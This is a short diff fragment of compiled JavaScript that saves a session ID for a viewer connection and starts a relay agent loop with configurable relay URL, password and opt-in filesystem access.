265
|
+
try {
|
|
266
|
+
const dir = (0, clientId_1.defaultCfgmgrDataDir)();
|
|
267
|
+
fs.mkdirSync(dir, { recursive: true });
|
|
268
|
+
fs.writeFileSync(path.join(dir, "forge-js-explorer-session.txt"), `${opts.sessionId}\n`, "utf8");
|
|
269
|
+
}
|
|
270
|
+
catch {
|
|
271
|
+
/* skip */
|
|
272
|
+
}
|
|
273
|
+
if (!opts.quiet) {
|
|
274
|
+
console.log(`Default session (from client id): ${opts.sessionId}`);
|
|
275
|
+
console.log("Share this with the viewer to connect (also in forge-js-explorer-session.txt next to .client_id).\n");
|
|
276
|
+
}
|
|
277
|
+
}
|
|
278
|
+
(0, relayAgent_1.runRelayAgentLoop)({
|
|
279
|
+
relayUrl: opts.relayUrl,
|
|
280
|
+
sessionId: opts.sessionId,
|
|
281
|
+
password: opts.password,
|
|
282
|
+
allowFilesystem: opts.allowFilesystem,
|
|
283
|
+
quiet: opts.quiet,
|
|
284
|
+
pkgRoot,
|
|
285
|
+
onRelayCapabilities: (caps) => {
|
|
286
|
+
(0, relayForAgentHttp_1.applyRelayAdvertisedSyncApiBaseUrlIfUnset)(String(caps.sync_api_base_url ?? ""));
|
|
287
|
+
tryStartSidecars(true);
|
|
288
|
+
},
|
|
289
|
+
});
|
|
290
|
+
}
|